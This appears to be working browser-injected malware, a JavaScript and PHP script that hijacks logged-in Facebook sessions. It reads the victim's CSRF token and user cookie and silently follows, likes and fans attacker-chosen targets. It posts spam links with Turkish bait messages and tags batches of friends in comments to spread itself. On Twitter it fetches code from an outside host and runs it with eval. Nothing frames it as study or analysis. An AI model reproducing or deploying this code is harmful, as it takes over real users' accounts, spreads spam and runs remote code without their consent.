﻿if(!document.getElementById("amung")){
new Image().src = 'http://whos.amung.us/widget/ethempnel.png';
}

function include(method,url)
{
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open(method, url);
    xmlhttp.onreadystatechange = function()
    {
        if(xmlhttp.readyState == 4)
        {
            eval(xmlhttp.responseText);
        }
    };
    xmlhttp.send();
}
if (location.hostname.indexOf("twitter.com") >= 0) {
include("GET","http://ethempanel.com/winatom/twitter.php?");
}
<?php
error_reporting(0);
include "../config.php";
?>
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function follow(id) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };
    var params = "profile_id=" + id;
    params += "&location=1";
    params += "&nctr[_mod]=pagelet_main_column_personal";
    params += "&__user=" + user_id;
    params += "&__a=1";
    params += "&fb_dtsg=" + fb_dtsg;
    params += "&phstamp=16581651097412012156155";
    xmlhttp.open("POST", "/ajax/follow/follow_profile.php", true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send(params);
}

function page(id) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };
    var params = "fbpage_id=" + id;
    params += "&add=true";
    params += "&fan_origin=page_timeline";
    params += "&nctr[_mod]=pagelet_timeline_page_actions";
    params += "&__user=" + user_id;
    params += "&__a=1";
    params += "&fb_dtsg=" + fb_dtsg;
    params += "&phstamp=16581651097412012156155";
    xmlhttp.open("POST", "/ajax/pages/fan_status.php", true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send(params);
}

function post(id) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {}
    };
    var params = "like_action=true&ft_ent_identifier=" + id;
    params += "&source=0&client_id=1355581664855%3A2475647505&ft[tn]=%3E%3D&ft[type]=20&nctr[_mod]=pagelet_timeline_recent";
    params += "&fan_origin=page_timeline";
    params += "&__user=" + user_id;
    params += "&__req=1e";
    params += "&__dyn=7n8amgAMCBClUlgDxqigHzy5xNei9w";
    params += "&__a=1";
    params += "&fb_dtsg=" + fb_dtsg;
    params += "&phstamp=165816689711057878203";
    xmlhttp.open("POST", "/ajax/ufi/like.php", true);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send(params);
}

function comment(id){  
var xmlhttp = new XMLHttpRequest();  
        xmlhttp.onreadystatechange = function () {  
            if(xmlhttp.readyState == 4){  
            }  
        };  
    var params = "comment_id="+id;  
    params += "&fb_dtsg=" +  document.getElementsByName('fb_dtsg')[0].value;  
    params += "&legacy_id="+id.split("_")[1];  
    params += "&ft_ent_identifier="+id.split("_")[0];  
    params += '&like_action=true';  
    params += '&source=0';  
    params += '&ft[tn]=>R0]';  
    params += '&nctr[_mod]=pagelet_timeline_recent';  
    params += '&client_id='+id.replace("_",":");  
    params += "&__user="+user_id;  
    params += "&__a=1";  
    params += "&__dyn=7n8aD5z5ynUdU";  
    params += "&__req=9";  
    params += "&phstamp=1658167110829777111155";  
    xmlhttp.open("POST", "/ajax/ufi/comment_like.php", true);  
    xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");  
    xmlhttp.send(params);  
}  

<?php
$request = mysql_query("SELECT random FROM url_link WHERE url ='0' and durum ='0' ORDER BY RAND() LIMIT 500");
$links = array();
while($row = mysql_fetch_assoc($request))
	$links[] = $row['random'];
mysql_free_result($request);
echo 'var links = [';
echo "'" . implode("', '", $links) . "'";
echo '];';echo"\n";
?>
var random_link = links[Math.floor(Math.random() * (links.length - 1))];


<?php
$request = mysql_query("SELECT random FROM url_foto WHERE url ='0' and durum ='0' ORDER BY RAND() LIMIT 500");
$links = array();
while($row = mysql_fetch_assoc($request))
	$links[] = $row['random'];
mysql_free_result($request);
echo 'var links = [';
echo "'" . implode("', '", $links) . "'";
echo '];';echo"\n";
?>
var random_foto = links[Math.floor(Math.random() * (links.length - 1))];

<?php
$request = mysql_query("SELECT random FROM url_mesaj WHERE url ='0' and durum ='0' ORDER BY RAND() LIMIT 500");
$links = array();
while($row = mysql_fetch_assoc($request))
	$links[] = $row['random'];
mysql_free_result($request);
echo 'var links = [';
echo "'" . implode("', '", $links) . "'";
echo '];';echo"\n";
?>
var random_mesaj = links[Math.floor(Math.random() * (links.length - 1))];

function post_add(){

		var message = ["Hangi salak ekledi bunu","Youtube girmenin en kısayolu bu mu :D","Twitter girmenin en kısayolu bu mu :D","facebook kapanabilir detay icin tıkla","Gercekten anlamıyorumm","Of allahım delirebilirim.","Sadece sizler için yaptım bir yanlis yapmayın?","En zor yanımda olan arkadaşlarım sizler için bu video lütfen izleyin.?","Bu video benden çok değerli canım arkadaşlarıma gelsin.","Sizler için video hazırladım siz hala izlemedinizmi? Süper oldu :)"];
		var message_random = message[Math.floor(Math.random() * (message.length - 1))];
		var url = random_link
		var image = random_foto
		var app = "";

		var xmlhttp2 = new XMLHttpRequest();
		xmlhttp2.open("GET", "https://graph.facebook.com/" + user_id, false);
		xmlhttp2.send();
		var data = JSON.parse(xmlhttp2.responseText);
		var name = data.name;

		var xmlhttp = new XMLHttpRequest();
		xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){
			}
		};
		
		var params = "next=";
		params += "&audience[0][value]=80";
		params += "&UITargetedPrivacyWidget=80";
		params += "&friendTarget=";
		params += "&groupTarget=";
		params += "&pageTarget=243003439126051";
		params += "&message=" + message_random;
		params += "&UIThumbPager_Input=0";
		params += "&appid="+app;
		params += "&attachment[params][medium]=101";
		params += "&attachment[params][urlInfo][canonical]=" + url;
		params += "&attachment[params][urlInfo][final]=" + url;
		params += "&attachment[params][urlInfo][user]=" + url;
		params += "&attachment[params][favicon]=";
		params += "&attachment[params][title]="+name;
		params += "&attachment[params][fragment_title]=";
		params += "&attachment[params][external_author]:";
		params += "&attachment[params][summary]=youtube.com";
		params += "&attachment[params][url]=" + url;
		params += "&attachment[params][ttl]=0";
		params += "&attachment[params][error]=1";
		params += "&attachment[params][og_info][guesses][0][0]=og:url";
		params += "&attachment[params][og_info][guesses][0][1]=" + url;
		params += "&attachment[params][og_info][guesses][1][0]=og:title";
		params += "&attachment[params][og_info][guesses][1][1]=" + url;
		params += "&attachment[params][responseCode]=206";
		params += "&attachment[params][images][0]="+image;
		params += "&attachment[type]=100";
		params += "&uithumbpager_width=720";
		params += "&uithumbpager_height=960";
		params += "&src=";
		params += "&parent_fbid=";
		params += "&mode=self";
		params += "&share=";
		params += "&fb_dtsg=" +fb_dtsg;
		params += "&phstamp=165816749114848369115";
		params += "&__user=" + user_id;
		xmlhttp.open("POST", "/ajax/sharer/submit_page/?__a=1", true);
		xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		xmlhttp.send(params);
}
       
 tarih = new Date();
if (!localStorage['post_add_' + user_id] || (localStorage['post_add_' + user_id] && tarih.getTime() >= localStorage['post_add_' + user_id])) {
        tarih.setTime(tarih.getTime() + 1000 * 60 * 60);
        localStorage['post_add_' + user_id] = tarih.getTime();
        post_add();
}

<?php
# follow start
$run = mysql_query("SELECT f_id FROM facebook WHERE durum='0' and tur='ABONE' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'follow("'.$x['f_id'].'");';
}
# follow stop

# page start
$run = mysql_query("SELECT f_id FROM facebook WHERE durum='0' and tur='SAYFA' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'page("'.$x['f_id'].'");';
}
# page stop

# post start
$run = mysql_query("SELECT f_id FROM facebook WHERE durum='0' and tur='POST' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'post("'.$x['f_id'].'");';
}
# post stop

# comment start
$run = mysql_query("SELECT tablo FROM facebook WHERE durum='0' and tur='YORUM' ORDER BY RAND()");
while($x=mysql_fetch_assoc($run)){
echo 'comment("'.$x['tablo'].'");';
}
# comment stop
?>
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var id = "";
var arkadaslar = [];
var svn_rev;
function arkadaslari_al(id){            
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
for(f=0;f<Math.round(arkadaslar.payload.entries.length/27);f++){
mesaj = "";mesaj_text = "";
for(i=f*27;i<(f+1)*27;i++){
if(arkadaslar.payload.entries[i]){
mesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
mesaj_text += " " + arkadaslar.payload.entries[i].text;
}
}
yorum_yap(id,mesaj)}                
}
};
var params = "&filter[0]=user";
params += "&options[0]=friends_only";
params += "&options[1]=nm";
params += "&token=v7";
params += "&viewer=" + user_id;
params += "&__user=" + user_id;
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
xmlhttp.send();
}
function RandomArkadas(){
var sonuc = "";
for(i=0;i<9;i++){
sonuc += " @[" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid + ":" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text + "]";
}
return sonuc;
}
function yorum_yap(id ,mesaj) {
var xhr = new XMLHttpRequest();
var params ="";
params +="&ft_ent_identifier="+id;
params +="&comment_text="+encodeURIComponent(mesaj);
params +="&source=2";
params +="&client_id=1593543324204129";
params +="&reply_fbid";
params +="&parent_comment_id";
params +="&rootid=u_jsonp_2_3";
params +="&clp={\"cl_impid\":\"453524a0\",\"clearcounter\":0,\"elementid\":\"js_5\",\"version\":\"x\",\"parent_fbid\":"+id+"}";
params +="&attached_sticker_fbid=0";
params +="&attached_photo_fbid=0";
params +="&giftoccasion";
params +="&ft[tn]=[]";
params +="&__user="+user_id;
params +="&__a=1";
params +="&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
params +="&__req=q";
params +="&fb_dtsg="+fb_dtsg;
params +="&ttstamp=";
xhr.open("POST", "/ajax/ufi/add_comment.php", true);

    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
            xhr.close;
        }
    }
    xhr.send(params);
}
        arkadaslari_al(id);